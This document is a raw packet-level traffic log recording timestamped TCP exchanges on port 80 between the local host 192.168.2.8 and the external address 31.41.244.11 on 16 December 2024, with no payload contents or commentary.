Dec 16, 2024 17:02:14.839679956 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.839689970 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.839735031 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.840647936 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.840718031 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.840742111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.840787888 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.841659069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.841711044 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.841927052 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.841975927 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.842803001 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.842854977 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.842916012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.842961073 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.843846083 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.843899012 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.843976021 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.844022036 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.845108032 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.845160961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.845201969 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.845252037 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.846043110 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.846095085 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.846188068 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.846235991 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.847054005 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.847103119 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.847194910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.847242117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.848234892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.848284960 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.848361015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.848404884 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.849231005 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.849282026 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.849524975 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.849574089 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.850332022 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.850378990 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.850514889 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.850555897 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.851428986 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.851475954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.851605892 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.851653099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.852626085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.852637053 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.852678061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.853658915 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.853712082 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.853732109 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.853779078 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.854780912 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.854792118 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.854840040 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.854866982 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.855426073 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.855474949 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.856689930 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.856739044 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.857382059 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.857398987 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.857429981 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.857453108 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.858300924 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.858350992 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.858449936 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.858496904 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.858881950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.858928919 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.859009981 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.859057903 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.859945059 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.859996080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.860071898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.860127926 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.861325979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.861337900 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.861381054 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.861876965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.861924887 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.861924887 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.861965895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.862775087 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.862824917 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.862905025 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.862951040 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.863893986 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.863943100 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.864027023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.864073038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.865181923 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.865192890 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.865236044 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.866148949 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.866161108 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.866203070 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.867135048 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.867191076 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.867371082 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.867429972 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.868283033 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.868331909 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.868496895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.868542910 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.869592905 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.869642973 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.869757891 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.869806051 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.870682955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.870729923 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.870794058 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.870841980 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.871471882 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.871520042 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.871592999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.871639967 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.872693062 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.872704029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.872746944 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.873754025 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.873806953 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.874141932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.874205112 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.877345085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.877357960 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.877377033 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.877392054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.877479076 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.877495050 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.877518892 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.877518892 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.877558947 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.877558947 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.878597021 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.878608942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.878652096 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.879575968 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.879626989 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.879743099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.879791021 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.880422115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.880472898 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.015670061 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.015686989 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.015778065 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.015970945 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.016028881 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.016140938 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.016201019 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.017051935 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.017115116 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.017143965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.017194986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.018115044 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.018166065 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.018229008 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.018280029 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.019187927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.019248009 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.019306898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.019360065 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.020263910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.020314932 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.020348072 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.020397902 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.021358013 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.021405935 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.021466017 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.021517038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.022481918 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.022603989 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.022614002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.022669077 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.023520947 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.023607016 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.023679018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.023739100 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.024585962 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.024646044 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.024679899 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.024729013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.025726080 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.025779009 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.025798082 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.025840998 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.026736021 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.026786089 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.026859045 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.026933908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.027822018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.027872086 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.027930975 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.027975082 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.028901100 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.028944016 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.029023886 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.029079914 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.029973984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.030028105 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.030086040 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.030133963 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.031039000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.031104088 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.031138897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.031186104 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.151283979 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.151396036 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.152179956 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.152189970 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.152240992 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.152406931 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.152458906 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.271722078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.271944046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.272232056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.272243023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.272284985 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.272314072 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.272494078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.272536039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.391875029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.391890049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.391910076 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.391925097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.391980886 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.392020941 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.392225027 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.392240047 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.392268896 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.392275095 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.392316103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.393106937 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.393119097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.393137932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.393167019 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.393187046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.393817902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.393831015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.393848896 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.393863916 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.393872023 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.393912077 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.394637108 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.394654036 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.394666910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.394681931 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.394717932 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.395323992 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.395363092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.395376921 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.395380020 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.395410061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.395435095 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.396167040 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.396178961 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.396197081 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.396212101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.396217108 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.396259069 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.396919966 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.396943092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.396956921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.396966934 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.397005081 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.397747993 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.397794962 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.397811890 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.397828102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.397855043 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.397880077 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.398578882 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.398591042 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.398610115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.398624897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.398626089 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.398652077 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.398689032 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.399343014 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.399368048 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.399384022 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.399404049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.399429083 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.400134087 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.400146008 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.400162935 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.400181055 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.400217056 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.400965929 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.401042938 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.401216030 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.401231050 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.401245117 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.401261091 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.401264906 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.401288986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.401326895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.401969910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.401981115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.401998043 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.402028084 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.402062893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.402784109 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.402796030 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.402815104 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.402837038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.402872086 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.403548002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.403559923 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.403578043 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.403592110 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.403600931 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.403635979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.404340982 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.404352903 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.404370070 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.404396057 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.404417992 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.405143976 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.405155897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.405174017 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.405198097 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.405235052 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.406035900 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.406047106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.406064987 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.406078100 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.406085968 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.406122923 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.406749964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.406765938 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.406795979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.406821012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.406831026 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.406831980 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.406847000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.406860113 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.406887054 CET	49708	80	192.168.2.8	31.41.244.11
